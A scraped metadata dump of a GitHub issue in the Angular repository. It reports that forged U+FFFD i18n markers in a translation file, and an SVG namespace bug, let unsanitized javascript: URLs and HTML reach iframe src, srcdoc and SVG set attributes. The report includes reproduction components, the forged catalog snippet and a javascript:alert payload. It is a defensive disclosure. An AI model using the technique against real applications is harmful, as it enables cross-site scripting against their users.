René's URL Explorer Experiment


Title: Angular i18n markers in a translation can overwrite an existing `TNode` and disable sanitization · Issue #71219 · angular/angular · GitHub

Open Graph Title: Angular i18n markers in a translation can overwrite an existing `TNode` and disable sanitization · Issue #71219 · angular/angular

X Title: Angular i18n markers in a translation can overwrite an existing `TNode` and disable sanitization · Issue #71219 · angular/angular

Description: Which @angular/* package(s) are the source of the bug? core Is this a regression? No Description A translation can contain Angular's reserved U+FFFD characters, and the i18n runtime parses them as if the compiler had generated them. A ma...

Open Graph Description: Which @angular/* package(s) are the source of the bug? core Is this a regression? No Description A translation can contain Angular's reserved U+FFFD characters, and the i18n runtime parses them as ...

X Description: Which @angular/* package(s) are the source of the bug? core Is this a regression? No Description A translation can contain Angular's reserved U+FFFD characters, and the i18n runtime parses them...

Opengraph URL: https://github.com/angular/angular/issues/71219

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular i18n markers in a translation can overwrite an existing `TNode` and disable sanitization","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\ncore\n\n### Is this a regression?\n\nNo\n\n### Description\n\nA translation can contain Angular's reserved U+FFFD characters, and the i18n runtime parses them as if the compiler had generated them.\n\nA marker can point at a declaration index that already holds an element. `createTNodeAtIndex()` then replaces that `TNode` without checking it:\n\n```ts\nconst tNode = tView.data[index] = createTNode(tView, parent, type, index, name, attrs);\n```\n\n`LView[index]` still holds the real element, but the new `TNode` has no tag name. Anything that resolves its security context from the tag name now gets an empty one, and for a host-bound `src` the sanitizer just returns the value:\n\n```ts\nfunction ɵɵsanitizeUrlOrResourceUrl(unsafeUrl, tag, prop) {\n  return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;\n}\n```\n\nThe catalog does not need to carry a payload. The whole change to the translation is two markers around normal text:\n\n```xml\n\u003ctarget>�#2�Insercion lista�/#2�\u003c/target>\n```\n\nA minimal example only needs an ordinary embed directive that host-binds `src` from the query string, and an iframe declared before an i18n message:\n\n```ts\n@Directive({\n  selector: 'iframe[appEmbed]',\n  host: {'[attr.src]': 'src'},\n})\nexport class Embed {\n  readonly src = inject(ActivatedRoute).snapshot.queryParamMap.get('p') ?? 'about:blank';\n}\n\n@Component({\n  imports: [Embed],\n  template: `\n    \u003ciframe title=\"embed\" appEmbed>\u003c/iframe>\n    {state, select, ready {Embed ready} other {Embed pending}}\n  `,\n})\nexport class Src {\n  protected readonly state = 'ready';\n}\n```\n\n`iframe[src]` is a `RESOURCE_URL`, so in the untranslated build `?p=javascript:...` is rejected with `NG0904` and no `src` is written. With the forged catalog the same URL is written as is and runs on load, with no click.\n\nThe same marker on a plain `[attr.srcdoc]` binding makes `ɵɵsanitizeHtml` see an empty tag name. `srcdoc` is only registered for `iframe`, so the context resolves to `NONE` and the HTML comes back unsanitized, `onerror` included.\n\nAlso `getOrCreateTNode()` upgrades an i18n placeholder in place, and restores `type`, `value` and `attrs` but not `namespace`:\n\n```ts\n} else if (tNode.type & 64) {\n  tNode.type = type;\n  tNode.value = name;\n  tNode.attrs = attrs;\n  const parent = getCurrentParentTNode();\n  tNode.injectorIndex = parent === null ? -1 : parent.injectorIndex;\n}\n```\n\nAn i18n block predeclares the elements it contains as placeholders while the namespace is still HTML, so any SVG element inside one keeps HTML metadata. The renderer still creates the node in the right namespace, so the DOM is a normal `SVGSetElement` and only Angular's view of it is wrong:\n\n```ts\n@Component({\n  template: `\n    \u003csection i18n>\n      Open profile\n      \u003csvg>\n        \u003ca>\n          \u003cset attributeName=\"href\" [attr.to]=\"payload\">\u003c/set>\n        \u003c/a>\n      \u003c/svg>\n    \u003c/section>\n  `,\n})\nexport class NsBlock {\n  payload = 'javascript:alert(\\'XSS\\')';\n}\n```\n\n`checkSecurityContext('set', 'to', undefined)` resolves to `NONE` instead of `ATTRIBUTE_NO_BINDING`, so `ɵɵvalidateAttribute()` returns early and `to` reaches the node with no `NG0910`. This one does not involve a translation catalog, and it reproduces in both locales.\n\n#70491 fixed this on 22.x from 22.1.5 by falling back to the SVG schema when the namespace is missing. It never reached 21.x, which is in LTS, so `21.2.25` is still affected.\n\n\n`getOrCreateTNode()` is the same on both lines, so the metadata is still wrong on 22.x too. The fallback only helps lookups that go through the SVG schema.\n\n\n### Please provide a link to a minimal reproduction of the bug\n\nSee https://github.com/SkyZeroZx/angular-i18n-marker-xss-poc\n \n\n### Anything else?\n\n I was reported on https://issuetracker.google.com/issues/550667019\n\n#71206 strips U+FFFD from translations, which closes the way in for `src` and `srcdoc`, so I think it can be backported.\n\nI think this can be considered like the earlier i18n advisories, since the attack mechanism is the same and based on the translation. GHSA-prjf-86w9-mfqv states \"The attacker must compromise the translation file (xliff, xtb, etc.).\" and GHSA-jj27-h5hq-8x99 needs an attacker that \"can control or influence the translation files used during localization\", so this one could possibly be classified the same way.\n","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-10-07T04:55:13Z","url":"https://github.com/angular/angular/issues/71219"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:7ca70d5d-8396-566f-78c5-afc0569957ae
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-idBFFE:4279A:10E1E04:16B848B:6B012117
html-safe-nonce9c3a3d68e6bb0a49479f56db699d4a4517c8ae19dc89ee31d4f249afaab7cac6
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRkZFOjQyNzlBOjEwRTFFMDQ6MTZCODQ4Qjo2QjAxMjExNyIsInZpc2l0b3JfaWQiOiIzNjU4MDI2MzUzNjI3ODMyNTk5IiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=
visitor-hmac88aa0ccbe911448d27dfa1a4e0223caa8aad0183c58fc1359392cbcfcb9c92d4
hovercard-subject-tagissue:5739590497
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/71219/issue_layout
twitter:imagehttps://opengraph.githubassets.com/ca0a64f64f0878b34b3978b97eb9b53dba1d8855f2cc392849281d17e0bbd591/angular/angular/issues/71219
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/ca0a64f64f0878b34b3978b97eb9b53dba1d8855f2cc392849281d17e0bbd591/angular/angular/issues/71219
og:image:altWhich @angular/* package(s) are the source of the bug? core Is this a regression? No Description A translation can contain Angular's reserved U+FFFD characters, and the i18n runtime parses them as ...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernameSkyZeroZx
hostnamegithub.com
expected-hostnamegithub.com
Nonecc5dfdd32f62ebd3223cab3af3aa2b268d3605218237326a48a99d1efd89495c
turbo-cache-controlno-preview
go-importgithub.com/angular/angular git https://github.com/angular/angular.git
octolytics-dimension-user_id139426
octolytics-dimension-user_loginangular
octolytics-dimension-repository_id24195339
octolytics-dimension-repository_nwoangular/angular
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id24195339
octolytics-dimension-repository_network_root_nwoangular/angular
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release8c77c9e8439031ad54c75a250694842892f693e1
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/angular/angular/issues/71219#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular%2Fissues%2F71219
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular%2Fissues%2F71219
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=angular%2Fangular
Reloadhttps://github.com/angular/angular/issues/71219
Reloadhttps://github.com/angular/angular/issues/71219
Reloadhttps://github.com/angular/angular/issues/71219
angularhttps://github.com/angular
angularhttps://github.com/angular/angular
Codehttps://github.com/angular/angular
Issues835 (835)https://github.com/angular/angular/issues
Pull requests141 (141)https://github.com/angular/angular/pulls
Discussionshttps://github.com/angular/angular/discussions
Actionshttps://github.com/angular/angular/actions
Projectshttps://github.com/angular/angular/projects
Security and quality40 (40)https://github.com/angular/angular/security
Insightshttps://github.com/angular/angular/insights
https://github.com/angular/angular
New issuehttps://github.com/login?return_to=https://github.com/angular/angular/issues/71219
New issuehttps://github.com/login?return_to=https://github.com/angular/angular/issues/71219
Angular i18n markers in a translation can overwrite an existing TNode and disable sanitizationhttps://github.com/angular/angular/issues/71219#top
area: securityIssues related to built-in security features, such as HTML sanitationhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20security%22
needsTriagehttps://github.com/angular/angular/milestone/83
https://github.com/SkyZeroZx
SkyZeroZxhttps://github.com/SkyZeroZx
on Oct 7, 2026https://github.com/angular/angular/issues/71219#issue-5739590497
#70491https://github.com/angular/angular/pull/70491
https://github.com/SkyZeroZx/angular-i18n-marker-xss-pochttps://github.com/SkyZeroZx/angular-i18n-marker-xss-poc
https://issuetracker.google.com/issues/550667019https://issuetracker.google.com/issues/550667019
#71206https://github.com/angular/angular/pull/71206
GHSA-prjf-86w9-mfqvhttps://github.com/advisories/GHSA-prjf-86w9-mfqv
GHSA-jj27-h5hq-8x99https://github.com/advisories/GHSA-jj27-h5hq-8x99
angular-robothttps://github.com/apps/angular-robot
area: securityIssues related to built-in security features, such as HTML sanitationhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20security%22
gemini-triagedhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22gemini-triaged%22
on Oct 7, 2026https://github.com/angular/angular/issues/71219#event-32659902193
angular-robothttps://github.com/apps/angular-robot
needsTriagehttps://github.com/angular/angular/milestone/83
on Oct 7, 2026https://github.com/angular/angular/issues/71219#event-32659903832
https://github.com/SkyZeroZx
SkyZeroZxhttps://github.com/SkyZeroZx
on Oct 7, 2026https://github.com/angular/angular/issues/71219#issuecomment-6031361519
#70491https://github.com/angular/angular/pull/70491
#70363https://github.com/angular/angular/pull/70363
JeanMechehttps://github.com/JeanMeche
gemini-triagedhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22gemini-triaged%22
on Oct 29, 2026https://github.com/angular/angular/issues/71219#event-34632106425
Sign up for freehttps://github.com/signup?return_to=https://github.com/angular/angular/issues/71219
Sign in to commenthttps://github.com/login?return_to=https://github.com/angular/angular/issues/71219
area: securityIssues related to built-in security features, such as HTML sanitationhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20security%22
needsTriageNo due datehttps://github.com/angular/angular/milestone/83
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.